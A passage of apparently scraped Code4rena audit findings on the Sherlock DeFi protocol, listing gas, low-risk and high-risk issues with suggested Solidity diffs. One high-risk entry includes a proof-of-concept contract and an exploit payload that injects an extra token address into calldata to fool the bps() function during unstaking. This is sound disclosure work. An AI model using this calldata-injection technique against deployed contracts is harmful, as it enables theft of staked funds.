"https://github.com/code-423n4/2021-07-sherlock-findings/issues/108", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle cmichel # Vulnerability details The `_doSherX` function does not return the correct precision of `sherUsd` and it is **not** the \"Total amount of USD of the underlying tokens that are being transferred\" that the documentation mentions. ```solidity sherUsd = amounts[i].mul(sx.tokenUSD[tokens[i]]); ``` Instead, the amount is inflated by `1e18`, it should divide the amount by `1e18` to get a USD value with 18 decimal precision. The severity is low as the calling site in `payout` makes up for it by dividing by `1e18` in the `deduction` computation. We still recommend returning the correct amount in `_doSherX` already to match the documentation and avoid any future errors when using its unintuitive return value. "}, {"title": "`_doSherX` optimistically assumes premiums will be paid", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/107", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "`_doSherX` optimistically assumes premiums will be paid"}, {"title": "Missing verification on `tokenInit`'s lock", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/105", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle cmichel # Vulnerability details The `Gov.tokenInit` skips the underlying token check if the `_token` is SHERX: ```solidity if (address(_token) != address(this)) { require(_lock.underlying() == _token, 'UNDERLYING'); } ``` ## Impact This check should still be performed even for `_token == address(this) // SHERX`, otherwise, the lock can have a different underlying and potentially pay out wrong tokens. ## Recommendation Verify the underlying of all locks. "}, {"title": "Unbounded iteration over all protocols", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/104", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "Unbounded iteration over all protocols"}, {"title": "Unbounded iteration over all staking tokens", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/103", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "Unbounded iteration over all staking tokens"}, {"title": "Unbounded iteration over all premium tokens", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/102", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "Unbounded iteration over all premium tokens"}, {"title": "`transferFrom` gas improval", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/100", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-sherlock-findings", "body": "# Handle cmichel # Vulnerability details The `SherXERC20.transferFrom` function reads the allowance from memory twice. It should be read once, cached, and then use that value for the `if(cachedAllowance ...)` and for the `newApproval = ...` expressions. "}, {"title": "`increaseApproval` gas improval", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/98", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle cmichel # Vulnerability details The `SherXERC20.increaseApproval` function reads the allowance from memory twice. It should be read once and then cached and for the event you the `cache + _amount` value. "}, {"title": "`payout` does token transfers twice", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/97", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "`payout` does token transfers twice"}, {"title": "`SherX.setWeights` only accrue _tokens", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/96", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "`SherX.setWeights` only accrue _tokens"}, {"title": "Check _aaveLmReceiver and _sherlock are not empty", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/95", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "Check _aaveLmReceiver and _sherlock are not empty"}, {"title": "Loops may exceed gas limit", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/93", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "Loops may exceed gas limit"}, {"title": "getInitialUnstakeEntry when unstakeEntries is empty", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/92", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "getInitialUnstakeEntry when unstakeEntries is empty"}, {"title": "[Bug] A critical bug in bps function", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/90", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle hrkrshnn # Vulnerability details ## A critical bug in bps function: PoolBase.sol ``` solidity function bps() internal pure returns (IERC20 rt) { // These fields are not accessible from assembly bytes memory array = msg.data; uint256 index = msg.data.length; // solhint-disable-next-line no-inline-assembly assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. rt := and(mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff) } } ``` The above function is designed to expect the token at the end of `calldata`, but a malicious user can inject extra values at the end of `calldata` and fake return values. The following contract demonstrates an example: ``` solidity pragma solidity 0.8.6; interface IERC20 {} error StaticCallFailed(); contract BadEncoding { /// Will return address(1). But address(0) is expected! function f() external view returns (address) { address actual = address(0); address injected = address(1); (bool success, bytes memory ret) = address(this).staticcall(abi.encodeWithSelector(this.g.selector, actual, injected)); if (!success) revert StaticCallFailed(); return abi.decode(ret, (address)); } function g(IERC20 _token) external pure returns (IERC20) { // to get rid of the unused warning _token; // Does it always match _token? return bps(); } // From Sherlock Protocol: PoolBase.sol function bps() internal pure returns (IERC20 rt) { // These fields are not accessible from assembly bytes memory array = msg.data; uint256 index = msg.data.length; // solhint-disable-next-line no-inline-assembly assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. rt := and(mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff) } } } ``` ### An example exploit This can be used to exploit the protocol: ``` solidity function unstake( uint256 _id, address _receiver, IERC20 _token ) external override returns (uint256 amount) { PoolStorage.Base storage ps = baseData(); require(_receiver != address(0), 'RECEIVER'); GovStorage.Base storage gs = GovStorage.gs(); PoolStorage.UnstakeEntry memory withdraw = ps.unstakeEntries[msg.sender][_id]; require(withdraw.blockInitiated != 0, 'WITHDRAW_NOT_ACTIVE'); // period is including require(withdraw.blockInitiated + gs.unstakeCooldown < uint40(block.number), 'COOLDOWN_ACTIVE'); require( withdraw.blockInitiated + gs.unstakeCooldown + gs.unstakeWindow >= uint40(block.number), 'UNSTAKE_WINDOW_EXPIRED' ); amount = withdraw.lock.mul(LibPool.stakeBalance(ps)).div(ps.lockToken.totalSupply()); ps.stakeBalance = ps.stakeBalance.sub(amount); delete ps.unstakeEntries[msg.sender][_id]; ps.lockToken.burn(address(this), withdraw.lock); _token.safeTransfer(_receiver, amount); } ``` State token `Token1`. Let's say there is a more expensive token `Token2`. Here's an example exploit: ``` solidity bytes memory exploitPayload = abi.encodeWithSignature( PoolBase.unstake.selector, (uint256(_id), address(_receiver), address(Token2), address(Token1)) ); poolAddress.call(exploitPayload); ``` All the calculations on `ps` would be done on `Token2`, but at the end, because of, `_token.safeTransfer(_receiver, amount);`, `Token2` would be transferred. Assuming that `Token2` is more expensive than `Token1`, the attacker makes a profit. Similarly, the same technique can be used at a lot of other places. Even if this exploit is not profitable, the fact that the computations can be done on two different tokens is buggy. There are several other places where the same pattern is used. All of them needs to be fixed. I've not written an exhaustive list. "}, {"title": "General suggestions", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/89", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Use `type(uintX).max` instead of `uintX(-1)` ``` diff modified contracts/facets/Gov.sol @@ -55,7 +55,7 @@ contract Gov is IGov { GovStorage.Base storage gs = GovStorage.gs(); SherXStorage.Base storage sx = SherXStorage.sx(); - return sx.sherXPerBlock.mul(gs.watsonsSherxWeight).div(uint16(-1)); + return sx.sherXPerBlock.mul(gs.watsonsSherxWeight).div(type(uint16).max); } function getWatsonsUnmintedSherX() external view override returns (uint256) { ``` Use `type(integerType).max` for such cases. There are also other places that could use this. ## Have NatSpec comments for all functions ## Avoid the diamond standard The most significant optimization that can be done in the contract is to get rid of the diamond standard, because, proxy architectures are inherently expensive. Unless there are specific reasons, such as contract size limits, a diamond makes the contract unnecessary complex. Also, try to avoid upgradability if you can afford it. "}, {"title": "[Optimization] Changing memory to calldata and again caching in loops", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/87", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Change memory to calldata and caching in loop ``` diff modified contracts/facets/Manager.sol @@ -139,16 +139,17 @@ contract Manager is IManager { function setProtocolPremiumAndTokenPrice( bytes32 _protocol, - IERC20[] memory _token, - uint256[] memory _premium, - uint256[] memory _newUsd + IERC20[] calldata _token, + uint256[] calldata _premium, + uint256[] calldata _newUsd ) external override onlyGovMain { require(_token.length == _premium.length, 'LENGTH_1'); require(_token.length == _newUsd.length, 'LENGTH_2'); (uint256 usdPerBlock, uint256 usdPool) = _getData(); - for (uint256 i; i < _token.length; i++) { + uint length = _token.length; + for (uint256 i; i < length; i++) { LibPool.payOffDebtAll(_token[i]); (usdPerBlock, usdPool) = _setProtocolPremiumAndTokenPrice( _protocol, ``` About caching in loop, see my other report on why it's needed. For the old code, i.e., having an array in memory, there is an unnecessary copy from `calldata` to `memory`. In the proposed patch, this unnecessary copy is avoided and values are directly read from `calldata` by using `calldataload(...)` instead of going via `calldatacopy(...)`, then `mload(...)`). Saves memory expansion cost, and cost of copying from `calldata` to `memory`. There are several other places throughout the codebase where the same optimization can be used. I've not provided an exhaustive list. "}, {"title": "[Optimization] Caching in for loops", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/86", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Caching in for loops ``` diff modified contracts/facets/PoolBase.sol @@ -128,19 +128,21 @@ contract PoolBase is IPoolBase { { PoolStorage.Base storage ps = baseData(); GovStorage.Base storage gs = GovStorage.gs(); - for (uint256 i = 0; i < ps.unstakeEntries[_staker].length; i++) { - if (ps.unstakeEntries[_staker][i].blockInitiated == 0) { + PoolStorage.UnstakeEntry[] storage entries = ps.unstakeEntries[_staker]; + uint length = entries.length; + for (uint256 i = 0; i < length; i++) { + if (entries[i].blockInitiated == 0) { continue; } if ( - ps.unstakeEntries[_staker][i].blockInitiated + gs.unstakeCooldown + gs.unstakeWindow <= + entries[i].blockInitiated + gs.unstakeCooldown + gs.unstakeWindow <= uint40(block.number) ) { continue; } return i; } - return ps.unstakeEntries[_staker].length; + return length; } ``` Caching expensive state variables would avoid re-reading from storage. Solidity's optimizer currently will not be able to cache this value (the IR based codegen and the Yul optimizer can do it; but that is not activated by default). "}, {"title": "[Optimization] Packing various structs carefully", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/85", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Packing the struct ``` diff modified contracts/storage/GovStorage.sol @@ -14,15 +14,17 @@ library GovStorage { struct Base { // The address appointed as the govMain entity address govMain; + // The amount of blocks the cooldown period takes + uint40 unstakeCooldown; + // The amount of blocks for the window of opportunity of unstaking + uint40 unstakeWindow; + // Check if the protocol is included in the solution at all + uint16 watsonsSherxWeight; + // The last block the total amount of rewards were accrued. // NOTE: UNUSED mapping(bytes32 => address) protocolManagers; // Based on the protocol identifier, get the address of the protocol that is able the withdraw balances mapping(bytes32 => address) protocolAgents; - // The amount of blocks the cooldown period takes - uint40 unstakeCooldown; - // The amount of blocks for the window of opportunity of unstaking - uint40 unstakeWindow; - // Check if the protocol is included in the solution at all mapping(bytes32 => bool) protocolIsCovered; // The array of tokens the accounts are able to stake in IERC20[] tokensStaker; @@ -33,8 +35,6 @@ library GovStorage { address watsonsAddress; // How much sherX is distributed to this account // The max value is uint16(-1), which means 100% of the total SherX minted is allocated to this acocunt - uint16 watsonsSherxWeight; - // The last block the total amount of rewards were accrued. uint40 watsonsSherxLastAccrued; } ``` In the current layout, the members `govMain`, `unstakeCooldown`, `unstakeWindow`, `watsonsSherxWeight` all can be packed to a single slot or exactly 256 bits. This can save gas if both such elements are read or written at the same time (please use at least 0.8.2, since it has some improvements centred around optimizing packed Structs). In the previous layout: 1. `govMain` would have a slot of its own. 2. `unstakeCooldown` and `unstakeWindow` would be packed together in a single slot. 3. `watsonsSherxWeight` and `watsonsSherxLastAccrued` would be packed together in a single slot. Note that gas savings are mainly relevant in the following cases: 1. Compiler can optimize certain reads and writes to the same slot. 2. Berlin EIP-2929 based gas accounting, i.e., if the same tx leaves one of the slot warm. 3. Berlin EIP-2930 for access lists. Instead of having to making three different slots warm (in the original code), one only has to make two slots warm, if necessary. If none of these applies for your case, this suggestion may be ignored. ## Packing for PoolStorage ``` diff modified contracts/storage/PoolStorage.sol @@ -15,20 +15,35 @@ library PoolStorage { struct Base { address govPool; + // The last block the total amount of rewards were accrued. + // Accrueing SherX increases the `unallocatedSherX` variable + uint40 sherXLastAccrued; + // Protocol debt can only be settled at once for all the protocols at the same time + // This variable is the block number the last time all the protocols debt was settled + uint40 totalPremiumLastPaid; + + // How much sherX is distributed to stakers of this token + // The max value is uint16(-1), which means 100% of the total SherX minted is allocated to this pool + uint16 sherXWeight; // // Staking // // Indicates if stakers can stake funds in the pool bool stakes; - // Address of the lockToken. Representing stakes in this pool - ILock lockToken; // Variable used to calculate the fee when activating the cooldown // Max value is uint32(-1) which creates a 100% fee on the withdrawal uint32 activateCooldownFee; + // Address of the lockToken. Representing stakes in this pool + // Indicates if protocol are able to pay premiums with this token + // If this value is true, the token is also included as underlying of the SherX + bool premiums; + + ILock lockToken; // The total amount staked by the stakers in this pool, including value of `firstMoneyOut` // if you exclude the `firstMoneyOut` from this value, you get the actual amount of tokens staked // This value is also excluding funds deposited in a strategy. uint256 stakeBalance; + // All the withdrawals by an account // The values of the struct are all deleted if expiry() or unstake() function is called mapping(address => UnstakeEntry[]) unstakeEntries; @@ -39,12 +54,6 @@ library PoolStorage { // SherX could be minted before the stakers call the harvest() function // Minted SherX that is assigned as reward for the pool will be added to this value uint256 unallocatedSherX; - // How much sherX is distributed to stakers of this token - // The max value is uint16(-1), which means 100% of the total SherX minted is allocated to this pool - uint16 sherXWeight; - // The last block the total amount of rewards were accrued. - // Accrueing SherX increases the `unallocatedSherX` variable - uint40 sherXLastAccrued; // Non-native variables // These variables are used to calculate the right amount of SherX rewards for the token staked mapping(address => uint256) sWithdrawn; @@ -52,9 +61,6 @@ library PoolStorage { // // Protocol payments // - // Indicates if protocol are able to pay premiums with this token - // If this value is true, the token is also included as underlying of the SherX - bool premiums; // Storing the protocol token balance based on the protocols bytes32 indentifier mapping(bytes32 => uint256) protocolBalance; // Storing the protocol premium, the amount of debt the protocol builds up per block. @@ -62,9 +68,6 @@ library PoolStorage { mapping(bytes32 => uint256) protocolPremium; // The sum of all the protocol premiums, the total amount of debt that builds up in this token. (per block) uint256 totalPremiumPerBlock; - // Protocol debt can only be settled at once for all the protocols at the same time - // This variable is the block number the last time all the protocols debt was settled - uint40 totalPremiumLastPaid; // How much token (this) is available for sherX holders uint256 sherXUnderlying; // Check if the protocol is included in the token pool ``` For the same reasons as before. Taking a quick look at the code, this change should reduce gas. (Might require 0.8.2, though; there was an improvement in the optimizer that would apply to packed structs in storage.) "}, {"title": "[Optimization] Use at least 0.8.4", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/84", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "[Optimization] Use at least 0.8.4"}, {"title": "[Optimization] Setting higher value for optimize-runs", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/83", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Higher value of optimize-runs ``` diff modified hardhat.config.js @@ -25,7 +25,7 @@ module.exports = { settings: { optimizer: { enabled: true, - runs: 200, + runs: 20000, }, }, }, ``` This value is a tuning parameter for deploy v/s runtime costs. Higher values optimize for lower runtime cost, which is what you are looking for. The above value is an example, please decide a suitable high value, and run tests. "}, {"title": "[Optimization] A branchless version of an if else statement", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/82", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Writing a branch less version ``` diff @@ -76,11 +77,11 @@ contract SherXERC20 is IERC20, ISherXERC20 { require(_amount != 0, 'AMOUNT'); SherXERC20Storage.Base storage sx20 = SherXERC20Storage.sx20(); uint256 oldValue = sx20.allowances[msg.sender][_spender]; - if (_amount > oldValue) { - sx20.allowances[msg.sender][_spender] = 0; - } else { - sx20.allowances[msg.sender][_spender] = oldValue.sub(_amount); - } + uint256 newValue; + assembly { + newValue := mul(gt(oldValue, _amount), sub(oldValue, _amount)) + } + sx20.allowances[msg.sender][_spender] = newValue; emit Approval(msg.sender, _spender, sx20.allowances[msg.sender][_spender]); return true; } ``` The branch-less version avoids at least two `jumpi`, i.e., at least 20 gas and some additional stack operations, along with deploy costs. Here's a SMT proof that the transformation is equivalent: ``` python from z3 import * # A SMT proof that # # if (_amount > oldValue) { # sx20.allowances[msg.sender][_spender] = 0; # } else { # sx20.allowances[msg.sender][_spender] = oldValue.sub(_amount); # } # # is same as # # assembly { # newValue := mul(gt(oldValue, _amount), sub(oldValue, _amount)) # } # sx20.allowances[msg.sender][_spender] = newValue; # n_bits = 256 amount = BitVec('amount', n_bits) oldValue = BitVec('oldValue', n_bits) allowance = BitVec('oldValue', n_bits) old_allowance_computation = If(UGT(amount, oldValue), 0, oldValue - amount) def GT(x, y): return If(UGT(x, y), BitVecVal(1, n_bits), BitVecVal(0, n_bits)) def MUL(x, y): return x * y def SUB(x, y): return x - y new_allowance_computation = MUL(GT(oldValue, amount), SUB(oldValue, amount)) solver = Solver() solver.add(old_allowance_computation != new_allowance_computation) result = solver.check() print(result) # unsat ``` "}, {"title": "[Optimization] Caching variable", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/81", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Caching variable ``` diff modified contracts/facets/SherXERC20.sol @@ -66,8 +66,9 @@ contract SherXERC20 is IERC20, ISherXERC20 { require(_spender != address(0), 'SPENDER'); require(_amount != 0, 'AMOUNT'); SherXERC20Storage.Base storage sx20 = SherXERC20Storage.sx20(); - sx20.allowances[msg.sender][_spender] = sx20.allowances[msg.sender][_spender].add(_amount); - emit Approval(msg.sender, _spender, sx20.allowances[msg.sender][_spender]); + uint256 newAllowance = sx20.allowances[msg.sender][_spender].add(_amount); + sx20.allowances[msg.sender][_spender] = newAllowance; + emit Approval(msg.sender, _spender, newAllowance); return true; } ``` The above change would avoid a `sload`, and will instead use `dupX`, saving \\`100\\` gas. "}, {"title": "getFirstMoneyOut _token parameter", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/79", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "getFirstMoneyOut _token parameter"}, {"title": "withdraw returns the final amount withdrawn", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/78", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function withdraw in ILendingPool returns the actual withdrawn amount, however, function withdraw in AaveV2 strategy does not check this return value so e.g. function strategyWithdraw may actually withdraw less but still add the full amount to the staked balance: ps.strategy.withdraw(_amount); ps.stakeBalance = ps.stakeBalance.add(_amount); ## Recommended Mitigation Steps function withdraw in IStrategy should return uint indicating the actual withdrawn amount and functions that use it should account for that. "}, {"title": "Call to LibDiamond.contractOwner() can be cached", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/73", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "Call to LibDiamond.contractOwner() can be cached"}, {"title": "Functions aBalance and balanceOf", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/72", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle pauliax # Vulnerability details ## Impact There is no difference between functions aBalance and balanceOf in contract AaveV2, they both return aWant, so there is no point in having them separately. ## Recommended Mitigation Steps Remove internal function aBalance and make balanceOf public. "}, {"title": "Re-entrancy mitigation", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/70", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "Re-entrancy mitigation"}, {"title": "Group related data into separate structs", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/69", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "Group related data into separate structs"}, {"title": "Inclusive checks", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/68", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "# Handle pauliax # Vulnerability details ## Impact These checks should be inclusive: ```solidity require(amountOut > minOut, \"EarlyExit: Insufficient output\"); require(_bps > 0 && _bps < 1000, \"Must be between 0-100%\"); require(newThreshold > 0 && newThreshold < 10000, \"Threshold must be between 0-100%\"); require(_distance > 0 && _distance < 1000, \"Override must be between 0-100%\"); ``` ## Recommended Mitigation Steps Replace > with >= and < with <= where necesseary. "}, {"title": "Approval event in LibSherXERC20", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/67", "labels": ["bug", "invalid", "0 (Non-critical)", "sponsor disputed"], "target": "2021-07-sherlock-findings", "body": "Approval event in LibSherXERC20"}, {"title": "AaveV2 approves lending pool in the constructor", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/65", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle pauliax # Vulnerability details ## Impact contract AaveV2 does not cache the lending pool, it retrieves it when necessary by calling a function getLp(). This is great as the implementation may change, however, this contract also approves an unlimited amount of want in the constructor: ILendingPool lp = getLp(); want.approve(address(lp), uint256(-1)); so if the implementation changes, the approval will reset. This will break the deposit function as it will try to deposit to this new lending pool with 0 approval. For reference, function setLendingPoolImpl: https://github.com/aave/aave-protocol/blob/4b4545fb583fd4f400507b10f3c3114f45b8a037/contracts/configuration/LendingPoolAddressesProvider.sol#L58-L65 Not sure how likely is that lending pool implementation will change so marking this as 'Low'. ## Recommended Mitigation Steps Before calling lp.deposit check that the approval is sufficient and increase otherwise. "}, {"title": "transferFrom when from = to", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/64", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-07-sherlock-findings", "body": "transferFrom when from = to"}, {"title": "Use EnumerableSet to store protocols", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/63", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "Use EnumerableSet to store protocols"}, {"title": "typo: `ineglible_yield_amount` -> `ineligible_yield_amount`", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/62", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle cmichel # Vulnerability details "}, {"title": "[PoolBase.sol] Calculations are being divided before being multiplied ", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/61", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "disagree with severity"], "target": "2021-07-sherlock-findings", "body": "[PoolBase.sol] Calculations are being divided before being multiplied "}, {"title": "Use calldata is a little more gas efficient ", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/60", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact Using `calldata` for function parameter is a slightly more gas efficient ## Proof of Concept https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/SherX.sol#L192-L225 ## Tools Used None ## Recommended Mitigation Steps ref: https://mudit.blog/solidity-gas-optimization-tips/ "}, {"title": "Gov.sol: Use SafeERC20.safeApprove in tokenUnload()", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/51", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact This is probably an oversight since `SafeERC20` was imported and `safeTransfer()` was used for ERC20 token transfers. Nevertheless, note that `approve()` will fail for certain token implementations that do not return a boolean value (Eg. OMG and ADX tokens). Hence it is recommend to use `safeApprove()`. ### Recommended Mitigation Steps Update to `_token.safeApprove(address(_native), totalToken)` in `tokenUnload()`. "}, {"title": "Yield distribution after large payout seems unfair", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/50", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact When a large payout occurs, it will lower unallocatedSherX. This could mean some parties might not be able to get their Yield. The first couple of users (for which harvest is called or which transfer tokens) will be able to get their full Yield, until the moment unallocatedSherX is depleted. The next users don't get any yield at all. This doesn't seem fair. ## Proof of Concept // https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/SherX.sol#L309 function doYield(ILock token,address from, address to, uint256 amount) private { ... ps.unallocatedSherX = ps.unallocatedSherX.sub(withdrawable_amount); //https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/Payout.sol#L108 function payout( address _payout, IERC20[] memory _tokens, uint256[] memory _firstMoneyOut, uint256[] memory _amounts, uint256[] memory _unallocatedSherX, address _exclude ) external override onlyGovPayout { // all pools (including SherX pool) can be deducted fmo and balance // deducting balance will reduce the users underlying value of stake token // for every pool, _unallocatedSherX can be deducted, this will decrease outstanding SherX rewards // for users that did not claim them (e.g materialized them and included in SherX pool) .... // Subtract from unallocated, as the tokens are now allocated to this payout call ps.unallocatedSherX = ps.unallocatedSherX.sub(unallocatedSherX); ## Tools Used ## Recommended Mitigation Steps If unallocatedSherX is insufficient to provide for all the yields, only give the yields partly (so that each user gets their fair share). "}, {"title": "SherX.sol: Unsafe casting of _weights in setWeights()", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/47", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "SherX.sol: Unsafe casting of _weights in setWeights()"}, {"title": "SherX.sol: Redeeming SherX may run out of gas", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/46", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "SherX.sol: Redeeming SherX may run out of gas"}, {"title": "SherX.sol: Change variable names weightSub and weightAdd to totalWeightOld and totalWeightNew", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/45", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact In `setWeights()`, the variables `weightAdd` and `weightSub` are used to ensure that there is no difference in the total weight. ### Recommended Mitigation Steps Consider `totalWeightOld` and `totalWeightNew` as the variable names instead as they are more indicative of the intended usage and behaviour. "}, {"title": "PoolStrategy.sol: Consider minimising trust with implemented strategies", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/44", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "PoolStrategy.sol: Consider minimising trust with implemented strategies"}, {"title": "PoolBase.sol: Consider returning 0 instead of reverting in LockToToken()", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/42", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "PoolBase.sol: Consider returning 0 instead of reverting in LockToToken()"}, {"title": "Manager.sol: Pass ps.sherXUnderlying instead of ps into updateData()", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/40", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact The only value from poolStorage in `updateData()` is the `sherXUnderlying` value. It is cheaper to pass this `uint256` variable instead of the storage variable itself. ### Recommended Mitigation Steps Change `PoolStorage.Base storage ps` to `uint256 sherXUnderlying`, saves about ~160 gas. "}, {"title": "Manager.sol: Can avoid safemath sub in usdPerBlock and usdPool calculations", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/39", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact In `updateData()`, ```jsx if (sub > add) { usdPerBlock = usdPerBlock.sub(sub.sub(add).div(10**18)); } else { usdPerBlock = usdPerBlock.add(add.sub(sub).div(10**18)); } ``` we can calculate the difference between `sub` and `add` in both cases without SafeMath because we already know one is greater than the other. Also, the logic can be made similar to the `usdPool` calculation since nothing changes in the case where `sub == add`. The same safemath subtraction avoidance can be implemented for the `usdPool` calculation. Finally, the 